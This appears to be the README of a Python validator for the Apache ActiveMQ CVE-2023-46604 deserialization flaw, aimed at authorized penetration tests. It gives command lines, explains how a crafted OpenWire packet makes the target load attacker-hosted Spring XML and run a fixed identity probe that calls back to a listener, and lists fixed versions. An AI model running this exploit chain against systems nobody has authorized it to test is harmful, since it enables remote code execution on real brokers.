
Non-destructive validator for Apache ActiveMQ CVE-2023-46604. Sends crafted OpenWire packets, uses HTTP callback server to confirm RCE or XML loading, and generates CSV/JSON evidence for authorized penetration tests.
A single-file, non-destructive validator for Apache ActiveMQ CVE-2023-46604. It starts its own HTTP callback server, generates target-specific Spring XML in memory, sends the crafted OpenWire packet, correlates callbacks with unique tokens, and writes CSV/JSON evidence.
The project is designed for authorized penetration tests and fleet validation. It deliberately does not implement reverse shells, unrestricted command execution, CIDR expansion, persistence, or payload staging.
Two fixed proof modes are available:
rce executes a fixed, read-only identity probe and returns its output to the built-in HTTP server. A callback confirms operating-system command execution in the ActiveMQ service context.xml serves an empty Spring context. A fetch confirms that the crafted OpenWire message caused the target to instantiate ClassPathXmlApplicationContext and retrieve attacker-controlled XML, without starting a process.No XML files need to be created or hosted separately.
--fail-on-vuln exit codeThe default OpenWire port is 61616, but non-default ports are supported.
Use documentation-only addresses in examples; replace them with your authorized assets.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
The script starts the callback server automatically on TCP/8000, serves the generated XML, sends the OpenWire packet, waits for evidence, prints a result table, and writes:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
Create targets.txt:
# One explicitly authorized host per line
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
Run:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
Target files may contain blank lines and comments beginning with #. CIDR expansion is intentionally unsupported; enumerate the authorized inventory explicitly.
For simple routed networks, omit --callback-host:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
The tool selects the local source address used to route toward the first target. Specify --callback-host when testing through NAT, VPNs, containers, jump hosts, or multi-homed systems.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
The Windows probe uses a fixed, non-interactive PowerShell command to return the service identity, computer name, and OS version. It does not provide an interactive shell.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
This mode does not instantiate ProcessBuilder.
Use an ssl:// target:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
For an internal listener with an untrusted certificate:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify affects only the OpenWire TLS connection. The callback server is HTTP.
| Status | Meaning |
|---|---|
CONFIRMED_VULNERABLE_RCE | The target fetched its XML and the fixed identity command returned evidence. |
CONFIRMED_VULNERABLE_XML_LOAD | In xml mode, the target fetched the unique XML document. |
VULNERABLE_XML_LOAD_ONLY | In rce mode, XML retrieval occurred but the command callback did not. The vulnerable class-instantiation path is confirmed; callback tooling, egress, or process execution may be restricted. |
NOT_CONFIRMED | The packet was sent, but no correlated HTTP evidence arrived before the deadline. This is not proof that the host is patched. |
UNREACHABLE | The TCP/TLS connection or packet send failed. |
A patched broker, an incorrect port, egress filtering, routing problems, TLS mismatch, and endpoint controls can all affect callback-based validation. Preserve the CSV/JSON timestamps and callback output as report evidence.
The Linux identity probe returns output similar to:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
It tries curl, wget, and BusyBox wget for the HTTP POST. If the XML is fetched but none of those clients is available, the result is VULNERABLE_XML_LOAD_ONLY rather than a false negative.
0: validation completed, or vulnerabilities were found without --fail-on-vuln2: at least one vulnerable result was found and --fail-on-vuln was suppliedExample CI usage:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604 affects Java OpenWire unmarshalling. The validator sends a loose-marshalled OpenWire ExceptionResponse whose exception class is:
org.springframework.context.support.ClassPathXmlApplicationContext
The exception message is the unique URL of the generated Spring XML. Vulnerable ActiveMQ code instantiates the attacker-selected class with that URL. In rce mode, the Spring context starts a fixed ProcessBuilder probe; in xml mode, the context is empty.
Every target receives a different token, for example:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
This allows concurrent callbacks to be attributed to the correct target.
--authorized Required authorization acknowledgement
-t, --target VALUE Explicit target; repeatable
-T, --targets-file FILE One explicit target per line; repeatable
--default-port PORT Default 61616
--tls Use TLS for all targets
--tls-no-verify Disable OpenWire TLS certificate validation
--callback-host HOST Address targets use for HTTP callbacks
--bind-host HOST Local HTTP bind address; default 0.0.0.0
--http-port PORT Local HTTP port; default 8000; 0 selects a free port
--proof rce|xml Fixed proof mode; default rce
--platform linux|windows Target OS for RCE mode; default linux
--workers N Parallel workers; maximum 32
--connect-timeout SECONDS TCP/TLS timeout
--wait SECONDS Callback collection window
--retries N One to three packet-send attempts
--retry-delay SECONDS Delay between attempts
-o, --output FILE CSV evidence destination
--json-output FILE Optional JSON destination
--verbose Show HTTP request logs
--fail-on-vuln Exit 2 when a vulnerable result is found
python3 -m unittest discover -s tests -v
The tests verify target parsing, CIDR rejection, XML well-formedness, and the OpenWire frame structure without contacting any target.
Upgrade ActiveMQ to a fixed and currently supported release. The Apache advisory identified fixed releases for the then-current branches as ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3, and 6.0.0, and Artemis 2.31.2. Also restrict OpenWire listeners to trusted clients and monitor for unexpected outbound XML retrieval.
This repository is for defensive validation and authorized security assessments. It intentionally omits:
--command executionThe fixed identity probe is sufficient to demonstrate remote command execution and the service account impact without establishing interactive access.
https://activemq.apache.org/news/cve-2023-46604https://activemq.apache.org/components/classic/securityhttps://github.com/apache/activemqhttps://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604MIT. See LICENSE.